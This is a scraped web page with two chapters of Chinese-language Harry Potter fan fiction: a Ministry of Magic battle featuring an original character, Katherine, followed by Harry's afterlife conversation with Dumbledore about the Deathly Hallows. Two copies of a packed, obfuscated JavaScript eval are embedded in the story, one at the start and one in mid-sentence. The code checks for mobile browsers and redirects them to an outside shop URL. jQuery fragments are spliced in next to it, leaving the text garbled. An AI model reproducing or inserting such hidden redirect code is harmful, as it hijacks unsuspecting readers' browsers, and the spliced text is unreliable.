;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419023|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,魔杖紧紧握在他的右手里。他一边向后退一边扫视周围,尽量把所有的食死徒都收进自己的视线里。他的腿碰到了后面一个坚硬的东西:他已经退到了竖立着拱门的台子旁边,他爬到了台子上。 食死徒都停了下来,死死地盯着他。有几个也像他一样喘得厉害。还有一个食死徒流血不止;多洛霍夫已经解开了全身束缚咒,正斜眼盯着他,用魔杖对准了他的脸。 “波特,你完了。” 卢修斯不知道什么时候清醒了过来,他慢条斯理地说着扯下了面罩,“现在像乖孩子一样把预言球交给我吧。” “让——让他们离开,我就把它给你!”哈利绝望地说。 几个食死徒大笑起来。 “你没有讨价还价的资格,波特。”卢修斯·马尔福说,他那张苍白的脸高兴得泛起了红晕,“你瞧瞧,我们有十个人,而你只有一个……难道邓布利多没有教过你怎么数数儿吗?” 哈利的心沉了下去。他用不着再想什么了,他别无选择。预言球仍握在他手里,被他的体温暖得温乎乎的,他把它递了过去。马尔福跳上前去想拿过来。 紧接着,在他们上方,又有两扇门猛地打开了,几个人突然飞快地冲进了屋子:西里斯、卢平、穆迪、唐克斯和金斯莱。 马尔福转过身,举起了魔杖,但是唐克斯已经向他发射了昏迷咒。哈利顾不上去看有没有打中,急忙一头跳下台子闪开了。凤凰社成员的出现转移了那些食死徒们的注意力,他们一边跳下一级级台阶,一边用雨点般的咒语射向这些食死徒。 “昏昏倒地!” 那个食死徒仰面倒了下去,面罩滑落下来:他就是差一点杀死巴克比克的麦克尼尔——凯瑟琳救了巴克比克,然后它和西里斯住在一起……现在不是想这个的时候——麦克尼尔的一只眼睛已经被戳得肿胀充血了。 这时西里斯与他的食死徒对手踉跄着从他们身边经过,搏斗进行得十分激烈,他们的魔杖挥舞成一片模糊的影子。哈利的脚踩到了一个圆圆的、硬邦邦的东西,滑了一下。一刹那间,他以为自己把预言球弄掉了。但紧接着他看到穆迪那只带魔法的眼睛正快速旋转着滚过地板。 魔眼的主人躺在哈利旁边,头上鲜血直流,他的攻击者现在正全力对付哈利——是多洛霍夫,他那张苍白的长脸都高兴得扭曲了。 “塔朗泰拉舞!”他用魔杖对准哈利大喊一声。 哈利急忙喊道:“盔甲护身!” 一种跟钝刀子似的东西从脸上迅速划过;它的力量把他撞向一旁。 多洛霍夫又举起了魔杖。“预言球飞——” 西里斯不知从什么地方冲了过来,一肩膀把多洛霍夫撞飞了。那个预言球又滑到哈利的指尖上,但是他努力抓住了它。此时西里斯与多洛霍夫正在猛烈搏斗,他们像舞剑一样挥动着魔杖,杖尖火星四射。 多洛霍夫抽回魔杖,准备像对付哈利和赫敏那样挥动它。哈利跳起来高喊:“统统石化!”多洛霍夫的胳膊和腿又一次贴在一起,仰面倒了下去,砰的一声撞在地上。 “干得漂亮!”西里斯一边喊着一边按下哈利的脑袋,躲过了正朝他们飞来的两个昏迷咒,“现在我要你们离开——” 两个人迅速弯下腰。一道绿光险些击中了西里斯。哈利看到屋子对面的唐克斯从石头台阶中间摔了下来,软绵绵的身体顺着一个个台阶向下滚落,贝拉特里克斯得意地转身跑去,重新投入了战斗。 “哈利,拿好预言球快跑!”西里斯一边大喊一边朝贝拉特里克斯迎面冲了过去。哈利没能看到接下来的情形:金斯莱从他眼前晃过,正在和没戴面罩、满脸麻子的卢克伍德激战;又一道绿光从哈利头顶飞了过去—— “预言球,把预言球给我,波特!”卢修斯·马尔福在哈利耳边吼道,哈利感到他的魔杖用力顶在了自己的肋骨之间。 “不……放——开——我……”哈利挣扎着,眼看预言球就要脱手—— 马尔福被击飞了。哈利再一次爬起来时四下看了一眼,发现马尔福猛地撞到了台子上。台子上面,西里斯和贝拉特里克斯正在激战。当马尔福打算再次把魔杖举起来的时候,一个声音从台阶上方传来—— “都住手!真正的预言球在这儿。” 贝拉特里克斯听见那个声音,像是触电一般跳到了一边,就连西里斯也停了下来,其他的食死徒和凤凰社成员也朝声音的方向看去。 哈利回头顺着卢修斯的目光望过去。在他们正上方是通向大脑厅的房门—— 真的是凯瑟琳! 她披着哈利的隐形衣,正站在门口,左手拿着一个和哈利手中十分相似的预言球,右手将银白色魔杖高高举过头顶(哈利认出来那根魔杖实际上是伏地魔的)。 “是凯瑟琳!黑魔王有命令,只要发现她就把她抓起来!”贝拉特里克斯尖叫起来。 “等等!但是她手上也有一个预言球——难道?”卢修斯有些颤抖地说。 “没错。”凯瑟琳冷笑起来。 “能够拿起预言球的人是我。早在你们进入魔法部之前,我就已经用一个假的预言球替换了它。即使哈利真的过来,你们也会因为预言球而无法伤害他。” “你——!”贝拉再次尖叫起来,“预言球飞——” 她的咒语被另一个人挥开了。 “姐姐,打断别人的话可不是一个好习惯。” 雷古勒斯出现在凯瑟琳身后,食死徒们都露出了紧张的神色。 “雷古勒斯?你怎么敢违抗黑魔王的命令?”贝拉大叫着朝他发射死咒,但是这个咒语被身后的西里斯发出的魔咒打偏,恰好击中了凯瑟琳手中的预言球,预言球瞬间变得粉碎。 一个长着巨大眼睛的珍珠白色的身影升到了空中。她的嘴巴在一张一合,但是他们离凯瑟琳太远了,外加贝拉发狂的尖叫声,谁也听不清她说了什么。 那个身影说完话,消失得无影无踪。 “不!”贝拉震惊地喊道,“那个预言球才是真的!它被打碎了!我完了!” 她癫狂地朝着凯瑟琳和雷古勒斯的方向发射魔咒,指挥食死徒把凯瑟琳抓起来。但是凯瑟琳轻松地挥开了她的咒语。 “钻心剜骨!”雷古勒斯说道。 咒语把贝拉特里克斯撞倒在地,她尖叫一声,但并没有纳威那样疼得嗷嗷打滚——她很快就站了起来,上气不接下气的,笑容消失了。 “从来没有用过不可饶恕咒,是不是,亲爱的弟弟?”她高声嚷着,不再用那种婴儿般的假嗓音了,“你太弱了,太弱了!心慈手软,胆小怕事——让姐姐来给你做个示范吧,怎么样?我要给你点颜色看看——” “钻心剜骨!”贝拉特里克斯尖叫了一声,她的魔咒再次被凯瑟琳轻松挥开了。 “我过去以及现在都是黑魔王的最忠实的仆人。我从他那里学到了黑魔法,我知道的咒语所具有的能量是你这样的小可怜永远都别指望达到的——” “是吗?但看来你的主人要对你发怒了,因为你打碎了他想要的预言球!”西里斯在贝拉身后说道。 “住口!你这个家族叛徒!她手里那个才是假的,抓住波特!抓住他!”贝拉回过头,大声叫着,声音里第一次流露出恐慌。 “很遗憾,我手中的这个确实是真的。”凯瑟琳说道。 “骗人!”她尖叫着,但现在他从她的愤怒中听出了恐惧,“它在波特手上!预言球飞来!预言球飞来!” “别浪费口舌了。”西里斯挡在哈利身前再次对贝拉特里克斯发动了攻击,其他的食死徒则开始朝凯瑟琳扑过去,凤凰社的成员紧随其后发射咒语阻拦他们。 哈利看到西里斯矮身闪过了贝拉特里克斯的一道绿光:他正在嘲笑她。 “得了,你可以做得更好!”他高声喊着,声音在整个巨穴般的屋子里回荡。 然而这时候,贝拉已经怒目圆睁,发射了第二道死咒。 第二道死咒被另外一道强烈的绿光挡住了,两道刺眼的强光在飘飞的黑色帷幔前相互制衡着。原来是雷古勒斯不知什么时候已经走下了台阶,来到了他哥哥身旁。 “你倒是小心点啊!”他话语里有些怪罪的意味,一边双手握住了魔杖加强这道死咒的力量。 “知道了。”属于西里斯的声音有些不满地说道。 “雷古勒斯,这么弱的死咒是想跟姐姐玩过家家吗?”贝拉看起来气急败坏,她在黑魔王那里学到了很多花招,于是她抬起了右手准备施法—— 另外一道绿光加入了进来。光束一下就击中贝拉特里克斯的胸口—— 只是一瞬间的事—— 贝拉特里克斯脸上凶狠的表情还没有完全消失,然后就惊骇地瞪圆了双眼倒在了地上,以一种扭曲的姿势。她浑身上下像是干裂的颜料,出现了黑色的裂痕,大概是因为失去了黑魔法的庇护。 而西里斯和雷古勒斯定定地看着他们死去的姐姐,雷古勒斯捂着胸口喘息着,而西里斯站在他身侧。 忽然,他猛地将雷古勒斯推到了旁边,一挥魔杖挡住了另外一个食死徒发起的攻击。 “你倒是小心点啊!”哈利听到西里斯学者刚才雷古勒斯说的话对他说道。 “雷古勒斯!他叛变了!他杀了贝拉特里克斯!”那个食死徒恶狠狠地说道,他挥动魔杖打算再战,就被雷古勒斯迅雷不及掩耳发出的咒语击中,像石头一样仰面栽倒在地上。 “谢谢提醒。”雷古勒斯说道。 “用不着,先对付敌人。” 于是,两兄弟再次投入战斗,只是比以往任何一次都更加有默契。 更多的凤凰社成员涌了进来,他们把绝大多数食死徒困在房子的中间,看上去像是用无形的绳子把他们绑在那里一样。穆迪穿过房间,爬到唐克斯身边,试图把她唤醒。 就在这时,哈利感到额头掠过一阵剧痛——他的伤疤又火辣辣地痛了起来。他感觉到一阵与自己的愤怒毫不相关的强烈怒火涌了上来。 “他知道了!”哈利大喊起来。 他的伤疤燃烧着,灼痛难耐……疼得他眼泪汪汪…… 其余还在打斗的食死徒露出了惊慌的神色。卢修斯跪倒在地上不断恳求伏地魔不要责罚他。 哈利感到额头上的疼痛越来越猛烈,他觉得自己的头骨就要炸开了。 “等死吧。一群蠢货。”一个愤怒的冷酷声音在说。 哈利睁开眼睛。 高高的、瘦瘦的,穿着黑色斗篷,苍白而憔悴脸上怒意正盛,瞳孔像一条细缝似的猩红眼睛死盯着哈利…… 伏地魔出现了。就在大厅的中央,他丝毫不畏惧其他凤凰社成员的魔咒,只是把的魔杖指向哈利,哈利僵硬地站在那里,一动也不能动。 “凯瑟琳在哪?”伏地魔轻轻地说,用他那猩红、冷酷的眼睛盯着哈利。 “主、主人……凯瑟琳,她刚刚还在这里!但是……她凭空消失了!”一个食死徒的声音说道。 “不,她不可能凭空消失。”伏地魔说道。 哈利觉得头疼极了,不如死去…… “我没什么要跟你说的了,波特,”他平静地说。 其他凤凰社成员的魔咒完全无法阻止伏地魔,他如入无人之境,魔杖对准了哈利。 “阿瓦达索命!” 93.chapter91 他趴在地上,想在这一片寂静中听见哪怕一点点的声音。但他确实是一个人。没有人在监视他,也没有其他的任何人在这儿。甚至他自己都无法完全肯定他是不是在这儿。 疼痛完全消失了。 然后,很长一段时间过去了——不过可能也只是一会儿的工夫,一个想法出现在他的脑海里:他必须活下去。这个想法比任何别的想法都实在,因为他躺着,实实在在地躺着,在某个未知的平面上,他还有触觉,而他躺在上面的那个东西也是实实在在地存在着的。 西里斯要是看到他死去,一定会非常难过…… 还有他的父母,为了保护他白白牺牲了,他最后也没有逃过被伏地魔杀死的命运…… 还有他的伙伴们,他的鲁莽害了他们——为什么魔咒已经无法伤害伏地魔了呢? 带着无数的愧疚和疑问,他发觉自己躺在一片迷雾中,一片与他以前从未见过的与众不同的迷雾。他周围的环境并没有被雾气遮掩,更恰当地说是那些雾气还没来得急去形成他周围的景物。他躺在上面的地板似乎一片空白,只是一个简单的能承载东西的平面。 他坐了起来,他的身上没有伤口,他摸了摸自己的脸,他根本没有戴眼镜。 一阵噪音通过他周围这些无形的虚无传到了他的耳边。那是一个什么东西挣扎着拍打带着枷锁的翅膀的声音,那是一个令人感到同情的声音,同时也令人不安。他有一种很不舒服的感觉,好像他在鬼鬼祟祟地偷听一样,有些可耻。 他站起身,看了看四周。他是不是在有求必应屋里?他越往远看,看见的东西就越多。他的头顶上是一个在阳光下闪闪发亮的玻璃半球形屋顶,也许这里是一个宫殿。一切都是寂静的,除了那些从离迷雾不远处的某个地方传来的哀号声…… 哈利开始慢慢地感觉到了不安,周围的事物开始在他眼前出现。一个宽敞的空间,明亮而干净,比学校的礼堂还大的大厅,以及一个闪亮的半球形天花板,这里十分空荡,只有他一个人,除了—— 他后退了一步,他看见了发出那个声音的东西,它的形状看起来像一个裸体的婴儿,它蜷缩在地板上,皮肤很粗糙,好像被剥了皮,它躺在一个凳子下面,不知为什么好像被憋住了一般,吃力地喘着气。 他害怕它,尽管它只是一个很小很脆弱,像受伤的婴儿一样的东西,他还是不想靠近它。然而他还是慢慢地向它走去,并随时准备着转身跑回来。很快地,他已经近到可以碰到它了,但是他还是不敢这么做,他觉得自己很懦弱。他应该去安慰它为它减轻痛苦,即使它憎恶地排斥着他。 “你帮不了它。” 当他在它周围转来转去的时候,邓布利多向他走来,脚步轻快而挺拔,他身穿着一件破旧的深蓝色长袍。 “哈利。”他张开手臂,他的双手都是白皙而完整的。“你是一个很棒的小伙子,你很勇敢,是一个勇敢的人,来,我们一起走。” 哈利吃惊地跟着邓布利多大步离开了那哀号的无皮婴儿。前面有两把椅子,但哈利之前并没有注意到它们,它们被放置在不远处的又高又亮的天花板下面。邓布利多在一把椅子上坐下,而哈利坐进了另一把椅子,他愣愣地盯着自己以前的校长的脸庞。邓布利多银色的长发和胡须,半月眼镜后面的睿智的蓝眼睛,还有鹰钩鼻:一切都同他记忆中的一模一样,但是…… “但是你已经死了。”哈利说。 “哦,是的。”邓布利多实事求是地说。 “那么……我也死了?” “啊。”邓布利多安静地微笑着说,“这倒是个问题,不是吗?” “基本上说,我亲爱的孩子,我认为没有。” “没有?”哈利重复道。 “没有。”邓布利多说。 “但是……”哈利本能地把手伸向了他的闪电形伤疤,它好像不在了,“但是我一定是死了——我并没有保护我自己,我愚蠢地让他杀了我!” “我想那,”邓布利多说,“一定就是问题的关键。” 快乐像灯光,像火焰一般从邓布利多的身上散发出来:哈利从来没见过这个男人如此彻底地满足。 “请解释一下吧。”哈利说。 “但是你已经知道了。”邓布利多无聊地玩着手指。 “他刚才杀了我,”哈利说,“不是吗?” “是的,”邓布利多点了点头,“继续说。” “所以说,那部分他存放在我的体内的灵魂……” 邓布利多更加狂热地点了点头,脸上绽开了灿烂的笑容。 “那它被毁掉了吗?” “哦,是的!”邓布利多说,“他亲手毁掉了它,而现在你的灵魂是完整的,完全是你自己的,哈利。” 哈利颤抖着肩膀向他们身后那个在凳子底下躺着的受了伤还在发抖的生物望去。 “那是什么,教授?” “我们谁也帮不上忙的东西罢了。”邓布利多说。 “但是如果伏地魔使用了死咒,”哈利重新开口说,“而这次没有人为了保护我而死去——那我是怎么活下来的呢?” “我认为你是知道的,”邓布利多说。“你往回想,回忆,在他的无知,他的贪婪和他的残酷的驱使下,他都做了什么。” 哈利拼命地思考,用眼睛扫视周围的一切,如果他们真的坐在一个宫殿里,那这也是一个临时的宫殿,凳子杂乱地排列着,到处都是栏杆,而他,邓布利多和那个小东西仍然是这里唯一的生物,答案很容易地就跑到了嘴边,不费吹灰之力。 “他用了我的血。”哈利说。 “完全正确!”邓布利多说,“他用了你的血去重获他的肉身,你的血成了他身体的组成部分,哈利,莉莉的保护魔咒在你们俩的身上同时起作用。他杀不死你,你却可以杀死他!” “……我以为我们会同归于尽,那这是一回事吗?” 哈利被他们身后的那个生物痛苦的呜咽声搅得心烦意乱,不断地回头去看。 “他会一直在那边吗?” “我们得等,只有一个人能帮他。”邓布利多耸耸肩,似乎这并不是一件很重要的事。 “那么……就请再接着解释。”哈利说。邓布利多微笑着。 “去年……我并没有完全和你说实话。并非一共只有六个魂器,实际上,你是第七个魂器,哈利——一个他从来没想过要制作的魂器。 他使他的灵魂变得极度不稳定,以至于当他做出杀死你的父母,还企图要杀死小孩子的邪恶行为时,灵魂就自动分裂了出来。 从那间屋子里逃出来时,他绝对不知道他留下的不只是他的身体,他还使他的一部分灵魂和你——谋杀的幸存者——锁在了一起。 “但是他知道的东西一直都少得可怜,哈利,这是伏地魔最没用的地方,他从来不费神去理解去领会,关于家养小精灵,关于哭泣的孩子们,关于依赖,关于爱。这些看似很简单的东西,对他来说比所有困难的魔法都要高深,他不愿意花时间去理会,也不屑于去理会。事实上,这些东西所拥有的力量是远远超过他的,是任何魔法都无法匹敌的,这是一个他一直没有理解的事实。” 邓布利多微笑着看着哈利,而哈利则盯着他。 “那你知道这些?你……一直都知道?” “我猜的,但是我的猜测通常是对的。”邓布利多欢快地说。 他们似乎静静地坐了好久,直到他们身后的那个生物开始继续呜咽和颤抖,哈利觉得他在偷听他们的谈话。 “先生,那您知道有关于凯瑟琳的事吗?她能拿我的魔杖,还能拿伏地魔——呃,汤姆?汤姆的魔杖……” “你现在应该知道了。”邓布利多悠悠地说,“让我们姑且喊他原本的名字。汤姆和凯瑟琳之间拥有最强的联系,他被反弹的死咒击中后,逃去了阿尔巴尼亚森林。凯瑟琳的灵魂一直陪伴着他。就是在那时候,她给予了他属于妹妹的魔法。 虽然他不知道这种爱的无比强大的可怕力量,但是他从来不敢伤害他妹妹……以及再更久之前,这种魔法将更加强大——在他们还在孤儿院的时候,或者在他第一次分裂灵魂之前……不过,如果他早就知道的话,那他就不会做‘伏地魔’了,更不会杀死那么多人了。 确认了这种互相的联系,也就确认了他们两人的命运是空前地紧密相连的,也是一辈子都会紧密相连的。就像凯瑟琳曾向你说的那样,那根冬青木魔杖曾经认她为主人,只是因为身体原因,她没能带走它。因此,她自然可以拿起你的魔杖,因为她就是它的另外一个主人。 当汤姆用孪生魔杖去攻击凯瑟琳。奇怪的事情自然发生了,两根魔杖的杖心稍稍起了反应,他怎么也想不到当年那根魔杖到了你的手中,这是他从未预料到的。 “其实那天晚上他比任何人都要担心害怕,凯瑟琳早已接受了死亡,这是她哥哥汤姆永远也做不到的,她在精神上和勇气上获胜了,因此她的魔杖压制住了他的,而这时,两个魔杖间出现了反应,这正显示出了它们主人之间的联系。 就像我说的,凯瑟琳曾被汤姆附身过,这是她在那之后获得更加强大的魔法的原因之一。那根魔杖认出了她,另外一根魔杖也认出了她,我想这能够解释为什么她在后来能够使用汤姆魔杖。” 哈利坐在那儿想了好久,或者可能也就是几秒,在这种地方很难感觉到“时间”。 “所以,她拿了汤姆的魔杖,然后他又用你的魔杖杀了我。” “他打算要用我的魔杖杀你,但他失败了。”邓布利多纠正哈利说。“我想我们可以确定你没有死——当然,”他加上一句,似乎是怕有些失礼,“我不是在说你没有受难,我确定你受的折磨已经够多了。” “尽管这样,但我此时此刻感觉很好。”哈利说,一边低头看他那干净无疵的手。“那么,我们到底在哪里?” “哦,我正想问你这个问题,”邓布利多环顾周围,说,“你认为我们这是在那儿?” 在邓布利多问之前,哈利还不知道,但是现在,他发现自己已经有了答案。 “看起来,”他慢慢地说,“好像是国王十字车站。但是这里空空的,连清洁工也没有,而且在我看来,这里也没有火车。” “国王十字车站!”邓布利多毫不掩饰地咯咯笑了起来。“多么美好,是真的吗?” “好吧,那你说我们这是在哪里?”哈利心怀戒备地说。 在然后邓布利多再次回答不知道之前,他又想起有比他们当前处境中的问题更紧急的事情。 “死圣,”他忽然说道,观察着邓布利多的表情。 “啊,是的。”他说。“你想知道什么?” 从哈利第一次见到邓布利多起,他就从来没像现在这样如此的不像一个老人,一点都不像。他看起来就像一个被抓住做错事的顽皮男孩。 “你会原谅我么?”他说,“你会原谅我对你不信任么?原谅我没有把一切告诉你?哈利,我只是害怕你会像我一样失败。我只是害怕你会犯和我一样的错误。我希望你能原谅我,哈利。我知道,很久以来我就知道,你是一个优秀的男子汉。” “你要说什么?”哈利问,被邓布利多的音调镇住了,还有他的眼睛里突然冒出的泪水。 “死圣,死圣,”邓布利多咕哝说,“每一个绝望的人的梦想!” “但是它们是真实存在的!” “是真实存在的,而且是危险的,还引来了一大群傻瓜。”邓布利多说,“应该让真正需要的人获得它们——我想你已经知道我所有的秘密不是吗?” “我知道什么?” 邓布利多将他整个身子转过来朝向哈利,眼泪在他的明亮的蓝眼睛里闪闪发光。 “死亡之杖,哈利,死亡之杖!从根本上说,与伏地魔相比,我要好一些吗?” “你当然比他好,”哈利说,“当然——你问这个干什么?你从来都尽可能避免杀人。” “是的,是的,”邓布利多说,他就像一个寻找定心丸的孩子,“然而,我也曾经寻求过征服死亡的方法,哈利。” “不是他那种方法。”哈利说。“是死圣,不是魂器。” “是死圣——那如果把我和凯瑟琳相比呢?” “凯瑟琳?所以……”有东西一闪而过,哈利终于明白了为什么格林德沃在死前说这个长老魔杖永远不会属于伏地魔。 “她才是长老魔杖的使用者。”哈利说道。 接下来是一阵沉默。他们后面的生物发出呜咽声,但哈利不再去注意它了。 “所以,凯瑟琳和格林德沃一样,也是刻意去收集它们的吗?”哈利又问。他想到了凯瑟琳让他承诺他会把隐形衣借给他的事,早在一年之前,她就已经做好打算了吗? 邓布利多闭了一会眼睛,点了点头。 “他们都在找,但是目的却不一样。这也是为什么凯瑟琳能够成功的原因。而对于后者……他的失败也有迹可循——那件事,是最最重要的——使我们走到一起。”邓布利多安静地说,“两个聪明而自负的男孩子共同的向往。他想要去戈德里克山谷——我可以肯定你已经猜到了——是因为伊格诺思·佩弗利尔的坟墓。他想要探访三弟死去的地方。” “这么说那个故事是真的?”哈利说,“全都是真的?福林特和我们说的佩弗利尔三兄弟——” “——正是故事里的三兄弟。”邓布利多点了点头,“哦,是的,我是这样想的。无论他们是否在一条孤单的小路上遇到了死神……我觉得更有可能的是佩弗利尔兄弟只是很有天赋的懂黑魔法的巫师,他们成功地制作出了那些威力强大的魔法物件。那个他们最后成为死神的圣徒的故事,对我而言是可以让我兴奋得跳起来的传说。 “那件斗篷,正如你所知,随着时间流传下来,从父亲到儿子,母亲到女儿,一直流传到伊格诺思的最后一批后代,就像伊格诺思一样在戈德里克山谷出生的人。” 邓布利多向哈利微笑着。 “我?” “你。你猜得很对。我知道,为什么斗篷在你父母死去的时候会属于我,詹姆在那之前的几天展示给我看过。这样就解释了为什么他在学校里做了那么多违纪的事却没有被发现。我几乎不能相信我所看到的。我借走了它,想要研究一下。自从我放弃集齐死圣已经有很长时间了,但是我也忍不住,我忍不住想要好好看看……它是我从未见过的斗篷,非常旧,但在各个方面都很完美……然后你的父亲死去了,我最终有了两件死圣,完全属于我!” 他的声音忍不住露出痛苦之意。 “但斗篷也不会帮助他们活下来,”哈利很快地说,“伏地魔知道了我的父母在哪里。而斗篷并不能抵抗咒语。” “是的,”邓布利多叹着气说,“是的。”哈利等着,但是邓布利多不再说话,所以哈利开始提示他。 “所以当你见到斗篷时就放弃了寻找死圣?” “哦,是的。”邓布利多微弱地说。看上去他是强迫自己面对着哈利的眼睛。“你知道发生了什么,你知道的。不过你不会比我更轻视我自己。” “可我没有轻视你。” “以后你会的。”邓布利多说。他深深地呼吸,“你知道我的妹妹得病的秘密,那是麻瓜干的,让她变成了那个样子。你知道我可怜的父亲是如何寻找他们报仇,如何被判了刑,如何在阿兹卡班死去的。你也知道我的妈妈用尽一生来照顾阿莉安娜。 “我憎恨这一切,哈利。” 邓布利多坦率而冷淡的说了这一切。他的目光越过哈利的头顶,看向远方。 “我是极有天赋的,我是才华横溢的。我想要逃离。我想要出人头地。我想要得到荣誉……所以,你不用那样维护我。从某种程度上来说,阿不福思说的是对的。” 顿了一下,痛苦在他的脸上显现,使他看上去又变回了老人,“我爱他们,我爱我的父母,我爱我的弟弟妹妹。但是我是自私的,哈利,比你——一个非常无私的人——能够想象得到的要自私得多。 “所以,在我的母亲死去后,我承担起了照顾有病的妹妹和任性的弟弟的职责,我既愤怒又悲痛地回到了我的村庄。我想这使我陷入困境而且浪费了我的时间。就在这个时候,他来了……” 邓布利多再次直视着哈利的双眼。 “格林德沃。你简直无法想象他的想法是怎样吸引了我,哈利,让我着迷。麻瓜被我们用武力强迫去做一些对我们有用的事。我们巫师胜利了。格林德沃和我,成了两个年轻的光荣领袖。 “哦,我还是有顾虑的。但我用空洞的语言抚慰我的良心。一切都会变好的,任何伤害麻瓜的行为都会带给巫师无数好处。在我内心深处,我会不知道格林德沃是个什么样的人吗?我想我知道,但是我闭上双眼,不去理睬。如果我们的计划实现了,我所有的梦想都会成真。 “而且在我们计划的核心,就是死圣!它们令他那么着迷,它们令我们俩那么着迷!那个无懈可击的魔杖可以引导我们拥有极端的力量!那块复活石对他而言——虽然在他面前我假装我不知道——是一支阴尸军队,而对我而言,我承认,那意味着我父母的重生,我肩负着重大的使命 “至于隐形衣……不知道为什么,我们从来没有过多的讨论过隐形衣,哈利。我和格林德沃两个,可以不借助斗篷而很好的隐藏自己,依靠魔法,当然,是那种你可以保护主人和遮挡其他人的魔法。我想,如果我们找到了它,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419334|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能会对藏起阿莉安娜很管用。但是我们对斗篷的最主要的兴趣在于它是那三样东西的组成部分,传说中人只有得到所有三样东西才能征服死亡,那个被我们认定为是不可能被征服的东西。 “无敌的死神!格林德沃和邓布利多!癫狂的两个月,噩梦般的两个月,使我疏忽了遗留下来的我的两个家庭成员。 “然后,你就知道发生什么了。我的粗鲁的、无知的却更值得敬佩的弟弟告诉我妹妹病重。我不想听到他吵着告诉我妹妹的事,我不想听到自己因为一个多病而娇弱的妹妹而无法出行去寻找死圣。 “争执演变成了斗殴。格林德沃失去了控制。我从一开始就知道他是这样的人,但是我假装我不知道,结果他暴露出了他凶残的一面,而阿莉安娜……尽管她曾受到我母亲的细心呵护……但此刻她还是不可避免地躺在地上死去了。” 邓布利多发出了一阵气喘声,留下真挚的眼泪。哈利伸出手,很高兴地发现他可以碰触到邓布利多。他紧紧地抓住的邓布利多的胳膊,让他渐渐地平静下来。 “然后,格林德沃逃跑了,除了我以外没有人想到他会离开。他消失了,带着他争权夺势的计划,折磨麻瓜的阴谋,以及对死圣的梦想——我曾经鼓励他帮助他实现的梦想。他逃走了,而我留下来将妹妹下葬,并学着在内疚和沉重的哀痛里生活。那是我人生中最可耻的一笔。 “年复一年,关于他的传闻很多。人们说他获得了一根拥有无限力量的魔杖。在此期间,我不只一次被邀请担任魔法部长。自然的,我拒绝了,我知道我并不适合执掌权力……” “但你比福吉强多了!”哈利大声喊出来。 “是吗?”邓布利多沉重的问,“我可不那么确定。当我是一个年轻人时,我曾证明,权力虽然对我有诱惑力,但那却是我的弱点。这是很奇怪的,哈利,不过也许最适合掌权的人正是那些从未刻意去追求过它的人。那些像你一样的人,当有领导任务强加在他们身上时,他们只好穿上制服,因为他们不得不这样做,然后他们便惊奇地发现他们能够做得很好。我在霍格沃茨会更安全。而且我认为我是一个不错的教授——” “您是最棒的!” “你很善良,哈利。但正当我忙于训练年轻巫师的时候,格林德沃建立起了一个军队。人们说他很害怕我,但也许,和他害怕我比起来,我更惧怕他。 “哦,不是怕死。”邓布利多说,回答了哈利脸上的疑问。“不是怕他可能会对我施的魔法,我们是势均力敌的——也许我还更胜一筹。我害怕的是事情的真相。听我说,我永远也不知道在那个令人毛骨悚然的夜里,到底是谁最后发射咒语杀死了我的妹妹。你也许会说我胆怯,你是对的,哈利,我最害怕的是我一直认为阿莉安娜是因我而死,不仅因为我的傲慢和愚蠢,更是因为我,带来那场使阿莉安娜死亡的争斗的我啊! “我认为他知道,我认为他知道是什么使我恐惧,我一直拒绝与他会面,直到再拒绝就太不体面了。人总有一死,但他的死亡看来已经无法避免,而我只好做一些我不得不做的事情。” “然后,你知道发生了什么,我赢了那场决斗,赢得了那根魔杖。” 又一阵静默。哈利没有问邓布利多是否查明了杀死阿莉安娜的到底是谁。 他不想知道,也没打算让邓布利多会告诉他。 他终于知道了当邓布利多朝厄里斯魔镜中看去的时候他会看见什么,也明白为什么邓布利多会对凯瑟琳那样特殊。 “所以,格林德沃阻止汤姆拥有那根魔杖,但事实上,他早就看到未来发生的事,对吗?” 邓布利多点了点头,低头看着他自己的膝盖,弯弯的鹰钩鼻上依然闪着泪光。 “他们说他在之后的几年里显示出了自责,他独自待在纽蒙加德的高塔中,我希望这是真的,我情愿相信他为了他所做的一切感到恐惧和懊悔,也许对汤姆说的那些话就是他在企图弥补他的过错……” 在又一次的短暂静默之后,哈利说,“你曾经试着用过复活石。” 邓布利多点了点头。 “当我终于在冈特老宅找到已被埋葬多年的复活石——那个我最渴望得到的死圣,尽管我年轻的时候想要它是出于另一个完全不同的目的——时,我失去了理智,哈利——就比如我还曾经尝试过找尼可·勒梅借用魔法石。 同样,当我接近那颗石头,我完全忘记了那是一个魂器,忘记了那个戒指一定带着诅咒。我只是拿起它并把它戴上,那一刻我想象着我就要见到阿莉安娜,见到我的母亲和父亲了,然后告诉他们我非常抱歉,非常对不起他们——我就是这样一个傻瓜,哈利。这么多年来我什么也没学到。我没有资格去集齐死圣,这已被反反复复地证实过,而那是最后一次。” “为什么?”哈利说,“那是人之常情,你希望可以再见他们一面,有什么错吗?” “也许一百万个人里才可能有一个人有资格集齐,哈利。而我只配得到它们中最低劣,最不起眼的,我只配得到长老魔杖,而且不能借此自夸,更不能用它杀人。而且这个对我来说也不是极其适合的。我被允许去驯服和使用它,因为我不是为了获得财富,而是想凭借它去帮助别人。 “但是那件斗篷,我白白对它好奇了那么久。现在你知道为什么凯瑟琳能够集齐他们。” 哈利眨了眨眼。 